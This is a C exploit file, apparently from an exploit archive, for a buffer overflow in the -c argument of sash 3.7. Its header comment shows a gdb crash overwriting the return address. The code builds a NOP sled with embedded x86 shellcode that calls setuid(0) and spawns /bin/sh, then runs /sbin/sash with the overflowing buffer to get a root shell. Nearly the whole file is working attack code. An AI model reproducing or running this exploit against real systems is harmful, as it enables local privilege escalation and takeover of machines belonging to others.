53 lines
No EOL
1.1 KiB
C
53 lines
No EOL
1.1 KiB
C
/* sash-3.7 buffer overflow in c argyment
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written by lammat for practice purposes
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http://grpower.ath.cx
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lammat@iname.com
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(gdb) r -c `perl -e 'print "A"x10256'`
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The program being debugged has been started already.
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Start it from the beginning? (y or n) y
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Starting program: /sbin/sash -c `perl -e 'print "A"x10256'`
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warning: shared library handler failed to enable breakpoint
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Program received signal SIGSEGV, Segmentation fault.
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0x41414141 in ?? ()
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*/
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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static char shellcode[]=
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"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
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"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
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#define NOP 0x90
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#define LEN 10256
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#define RET 0xbfff7770
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int main()
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{
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char buffer[LEN];
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long retaddr = RET;
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int i;
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fprintf(stderr,"using address 0x%lx\n",retaddr);
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/* Filling the buffer... */
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for (i=0;i<LEN;i+=4)
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*(long *)&buffer[i] = retaddr;
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for (i=0;i<(LEN-strlen(shellcode)-100);i++)
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*(buffer+i) = NOP;
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memcpy(buffer+i,shellcode,strlen(shellcode));
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/* Executing sash */
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execlp("/sbin/sash","sash","-c",buffer);
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return 0;
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}
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// milw0rm.com [2005-04-08]
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